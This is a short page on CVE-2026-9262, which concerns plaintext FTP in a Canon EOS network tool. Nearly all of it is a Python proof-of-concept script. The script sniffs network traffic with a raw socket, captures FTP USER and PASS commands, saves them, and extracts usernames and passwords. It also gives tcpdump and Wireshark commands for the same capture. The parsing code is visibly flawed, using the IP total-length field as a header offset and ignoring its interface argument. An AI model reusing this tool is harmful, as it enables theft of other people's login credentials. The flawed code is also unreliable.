CVE-2026-9262 Canon EOS Network Setting Tool默认使用非安全FTP协议漏洞

# CVE-2026-9262 PoC - FTP Traffic Capture for Canon EOS Network Setting Tool # This PoC demonstrates how FTP credentials and data can be captured in plain text import socket import struct import os def capture_ftp_traffic(interface='eth0', output_file='captured_ftp_traffic.pcap'): """ Capture FTP traffic using raw sockets Requires root privileges to run """ try: # Create raw socket to capture network packets sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) # Filter for FTP port (21) traffic ftp_packets = [] print(f"[*] Starting FTP traffic capture on {interface}") print("[*] Waiting for Canon EOS Network Setting Tool FTP connections...") print("[*] Press Ctrl+C to stop capture") while True: packet, addr = sock.recvfrom(65535) # Parse IP header ip_header = packet[0:20] iph = struct.unpack('!BBHHHBBH4s4s', ip_header) # Get TCP header tcp_header = packet[iph[2]:iph[2]+20] tcph = struct.unpack('!HHLLBBHHH', tcp_header) src_port = tcph[0] dst_port = tcph[1] # Check for FTP traffic (port 21) or high ports for data transfer if src_port == 21 or dst_port == 21 or (src_port >= 1024 or dst_port >= 1024): payload_start = iph[2] + tcph[4] * 4 payload = packet[payload_start:] try: decoded_payload = payload.decode('utf-8', errors='ignore') # Look for FTP commands and responses if any(cmd in decoded_payload for cmd in ['USER', 'PASS', 'LIST', 'RETR', 'STOR']): print(f"\n[!] FTP Command captured from {addr}:") print(decoded_payload.strip()) ftp_packets.append(decoded_payload) # Check for authentication responses if '230' in decoded_payload or '530' in decoded_payload: print(f"[!] FTP Response: {decoded_payload.strip()}") ftp_packets.append(decoded_payload) except: pass except PermissionError: print("[-] Error: Requires root privileges") print("[*] Run with: sudo python3 cve_2026_9262_poc.py") except KeyboardInterrupt: print("\n[*] Stopping capture...") if ftp_packets: with open(output_file, 'w') as f: f.write('\n'.join(ftp_packets)) print(f"[*] Saved {len(ftp_packets)} packets to {output_file}") def extract_ftp_credentials(capture_file): """ Extract FTP credentials from captured traffic """ print("\n[*] Analyzing captured FTP traffic...") try: with open(capture_file, 'r') as f: content = f.read() lines = content.split('\n') for i, line in enumerate(lines): if 'USER' in line: username = line.split('USER')[1].strip() if 'USER' in line else '' print(f"[+] FTP Username found: {username}") if 'PASS' in line: password = line.split('PASS')[1].strip() if 'PASS' in line else '' print(f"[+] FTP Password found: {password}") except FileNotFoundError: print("[-] Capture file not found") if __name__ == '__main__': print("=" * 60) print("CVE-2026-9262 PoC - Canon EOS Network Setting Tool FTP Capture") print("=" * 60) print("\n[!] Disclaimer: This PoC is for educational and authorized testing only") print("\nMethod 1: Using tcpdump (Recommended)") print(" sudo tcpdump -i eth0 'port 21' -A -w ftp_capture.pcap") print("\nMethod 2: Using Wireshark") print(" 1. Start Wireshark on target network interface") print(" 2. Filter: tcp.port == 21") print(" 3. Look for USER and PASS commands in plain text") print("\n[*] Starting raw socket capture...") capture_ftp_traffic()